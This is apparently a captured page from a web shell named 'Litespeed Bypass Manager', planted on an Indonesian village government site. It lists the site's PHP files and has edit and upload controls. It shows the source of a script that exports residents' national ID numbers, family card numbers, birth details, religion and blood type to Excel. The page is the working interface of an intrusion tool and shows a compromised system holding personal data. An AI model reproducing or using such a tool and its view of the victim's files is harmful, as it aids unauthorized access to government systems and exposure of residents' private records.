Litespeed kontol

Isi Folder

📁 TemplateFolder
📁 assetsFolder
📁 assets2Folder
📁 calenderFolder
📁 ckeditorFolder
📁 cssFolder
📁 datatablesFolder
📁 fontsFolder
📁 imagesFolder
📁 includesFolder
📁 jsFolder
📁 leafletFolder
📁 scriptsFolder
📁 spreadsheet-reader-masterFolder
📁 uploadsFolder
📁 vendorFolder
📄 aksi.phpEdit
📄 aksiGetPenduduk.phpEdit
📄 aksiGetPenduduk2.phpEdit
📄 apbdes.phpEdit
📄 artikel.phpEdit
📄 belanja_proses.phpEdit
📄 buat_surat.phpEdit
📄 buat_surat2.phpEdit
📄 cari_penduduk.phpEdit
📄 config.phpEdit
📄 daftar_proses.phpEdit
📄 data.phpEdit
📄 data_surat.phpEdit
📄 error_logEdit
📄 excel_reader.phpEdit
📄 exportexcelindividu.phpEdit
📄 exportexcelkeluarga.phpEdit
📄 exportxls.phpEdit
📄 functions.phpEdit
📄 hapus_artikel_proses.phpEdit
📄 hapus_legal_proses.phpEdit
📄 hapus_lembaga_proses.phpEdit
📄 hapus_profil_proses.phpEdit
📄 hapus_sig_proses.phpEdit
📄 hapus_surat.phpEdit
📄 hapus_user_proses.phpEdit
📄 hidden_aduan_proses.phpEdit
📄 hidden_profil_proses.phpEdit
📄 home.phpEdit
📄 importindividu.phpEdit
📄 importkeluarga.phpEdit
📄 index.phpEdit
📄 individu.phpEdit
📄 keluarga.phpEdit
📄 konfigurasi.phpEdit
📄 laporan_bulan.phpEdit
📄 legal.phpEdit
📄 lembaga.phpEdit
📄 lembaga_proses.phpEdit
📄 lembaga_ubah_proses.phpEdit
📄 logo_proses.phpEdit
📄 modal_detail.phpEdit
📄 modal_disposisi.phpEdit
📄 modal_selesai.phpEdit
📄 modal_tindaklanjut.phpEdit
📄 modal_ubah_anggaran.phpEdit
📄 modal_ubah_artikel.phpEdit
📄 modal_ubah_belanja.phpEdit
📄 modal_ubah_individu.phpEdit
📄 modal_ubah_keluarga.phpEdit
📄 modal_ubah_legal.phpEdit
📄 modal_ubah_lembaga.phpEdit
📄 modal_ubah_profil.phpEdit
📄 modal_ubah_realisasi.phpEdit
📄 modal_ubah_realisasibelanja.phpEdit
📄 modal_ubah_sig.phpEdit
📄 modal_ubah_user.phpEdit
📄 modal_view_individu.phpEdit
📄 modal_view_keluarga.phpEdit
📄 modal_view_mutasipenduduk.phpEdit
📄 modal_view_surat.phpEdit
📄 mutasi_penduduk.phpEdit
📄 notif.jsEdit
📄 notif.phpEdit
📄 notif_pengaduan.phpEdit
📄 notifikasi.phpEdit
📄 pemdes.phpEdit
📄 pendapatan_proses.phpEdit
📄 penduduk_keluar.phpEdit
📄 penduduk_masuk.phpEdit
📄 pengaduan.phpEdit
📄 profil.phpEdit
📄 profil_proses.phpEdit
📄 profil_ubah_proses.phpEdit
📄 proses_konfigurasi.phpEdit
📄 proses_penduduk_keluar.phpEdit
📄 proses_penduduk_masuk.phpEdit
📄 proses_upload.phpEdit
📄 regUser.phpEdit
📄 sig.phpEdit
📄 simpan_surat.phpEdit
📄 surat.phpEdit
📄 surat_aksi.phpEdit
📄 tambah_artikel_proses.phpEdit
📄 tambah_legal_proses.phpEdit
📄 tambah_sig_proses.phpEdit
📄 tampil_aduan_proses.phpEdit
📄 tampil_profil_proses.phpEdit
📄 template_surat.phpEdit
📄 template_surat2.phpEdit
📄 to_xls.phpEdit
📄 ubahDisposisi.phpEdit
📄 ubahPassword.phpEdit
📄 ubahSelesai.phpEdit
📄 ubahStatus_user_proses.phpEdit
📄 ubahTindakan.phpEdit
📄 ubah_artikel_proses.phpEdit
📄 ubah_belanja_proses.phpEdit
📄 ubah_individu_proses.phpEdit
📄 ubah_keluarga_proses.phpEdit
📄 ubah_legal_proses.phpEdit
📄 ubah_pendapatan_proses.phpEdit
📄 ubah_realisasi_proses.phpEdit
📄 ubah_realisasibelanja_proses.phpEdit
📄 ubah_sig_proses.phpEdit
📄 ubah_user_proses.phpEdit
📄 viewBottomProfil.phpEdit
📄 viewTopProfil.phpEdit
📄 viewapbdes.phpEdit
📄 viewartikel.phpEdit
📄 viewbelanja.phpEdit
📄 viewbpd.phpEdit
📄 viewer.phpEdit
📄 viewindividu.phpEdit
📄 viewkeluarga.phpEdit
📄 viewlegal.phpEdit
📄 viewlpmd.phpEdit
📄 viewmutasipenduduk.phpEdit
📄 viewpemdes.phpEdit
📄 viewrealisasi.phpEdit
📄 viewrealisasibelanja.phpEdit
📄 viewsig.phpEdit
📄 viewsuara.phpEdit
📄 viewsurat.phpEdit
📄 viewuser.phpEdit

Edit File: exportexcelindividu.php

<?php
//Menggabungkan dengan file koneksi yang telah kita buat
include_once "../librari/inc.koneksidb.php";

// Load library phpspreadsheet
require('vendor/autoload.php');

use PhpOffice\PhpSpreadsheet\Helper\Sample;
use PhpOffice\PhpSpreadsheet\IOFactory;
use PhpOffice\PhpSpreadsheet\Spreadsheet;

// End load library phpspreadsheet

$spreadsheet = new Spreadsheet();

// Set document properties
$spreadsheet->getProperties()->setCreator('Seni Coding')
->setLastModifiedBy('Seni Coding')
->setTitle('Office 2007 XLSX Seni Coding')
->setSubject('Office 2007 XLSX Seni Coding')
->setDescription('Test document for Office 2007 XLSX Seni Coding.')
->setKeywords('office 2007 openxml php Seni Coding')
->setCategory('Test result file Seni Coding');

$spreadsheet->getActiveSheet()->mergeCells('A1:N1');
$spreadsheet->setActiveSheetIndex(0)->setCellValue('A1', 'DATA PENDUDUK DESA');

//Font Color
$spreadsheet->getActiveSheet()->getStyle('A2:N2')
    ->getFont()->getColor()->setARGB(\PhpOffice\PhpSpreadsheet\Style\Color::COLOR_BLACK);

// Header Tabel
$spreadsheet->setActiveSheetIndex(0)
->setCellValue('A2', 'No')
->setCellValue('B2', 'No KTP')
->setCellValue('C2', 'No KK')
->setCellValue('D2', 'Nama')
->setCellValue('E2', 'Agama')
->setCellValue('F2', 'Tempat Lahir')
->setCellValue('G2', 'Tanggal Lahir')
->setCellValue('H2', 'Jenis Kelamin')
->setCellValue('I2', 'Golongan Darah')
->setCellValue('J2', 'Warga Negara')
->setCellValue('K2', 'Pendidikan')
->setCellValue('L2', 'Pekerjaan')
->setCellValue('M2', 'Nikah')
->setCellValue('N2', 'Status dalam Keluarga')
;

$i=3; 
$no=1; 
$sql = "select * from warga";
$query = mysql_query($sql,$koneksiDbs) or die ("query salah !".mysql_error());
$statusMap = array(
    1 => "Kepala Keluarga", 2 => "Suami", 3 => "Isteri", 4 => "Anak",
    5 => "Menantu", 6 => "Cucu", 7 => "Orang Tua", 8 => "Mertua",
    9 => "Famili Lain", 10 => "Pembantu"
);
while ($row = mysql_fetch_array($query)) {
	$status = isset($statusMap[$row['status']]) ? $statusMap[$row['status']] : "Lainnya";
	$kelamin = ($row['j_kel'] == 'L') ? 'Laki-laki' : 'Perempuan';
	$spreadsheet->setActiveSheetIndex(0)
	->setCellValue('A'.$i, $no)
	->setCellValue('B'.$i, $row['no_ktp'])
	->setCellValue('C'.$i, $row['no_kk'])
	->setCellValue('D'.$i, $row['nama'])
	->setCellValue('E'.$i, $row['agama'])
	->setCellValue('F'.$i, $row['t_lahir'])
	->setCellValue('G'.$i, $row['tgl_lahir'])
	->setCellValue('H'.$i, $kelamin)
	->setCellValue('I'.$i, $row['gol_darah'])
	->setCellValue('J'.$i, $row['w_negara'])
	->setCellValue('K'.$i, $row['pendidikan'])
	->setCellValue('L'.$i, $row['pekerjaan'])
	->setCellValue('M'.$i, $row['s_nikah'])
	->setCellValue('N'.$i, $status);
	$i++; $no++;
}

// Rename worksheet
$spreadsheet->getActiveSheet()->setTitle('Report Excel '.date('d-m-Y H'));

// Set active sheet index to the first sheet, so Excel opens this as the first sheet
$spreadsheet->setActiveSheetIndex(0);

// Redirect output to a client’s web browser (Xlsx)
header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
header('Content-Disposition: attachment;filename="Penduduk.xlsx"');
header('Cache-Control: max-age=0');
// If you're serving to IE 9, then the following may be needed
header('Cache-Control: max-age=1');

// If you're serving to IE over SSL, then the following may be needed
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified
header('Cache-Control: cache, must-revalidate'); // HTTP/1.1
header('Pragma: public'); // HTTP/1.0

$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');
$writer->save('php://output');

Catatan: Mengedit file biner tidak disarankan.

Litespeed Bypass Manager

Buat Folder Baru

Upload File

Isi Folder

Edit File: exportexcelindividu.php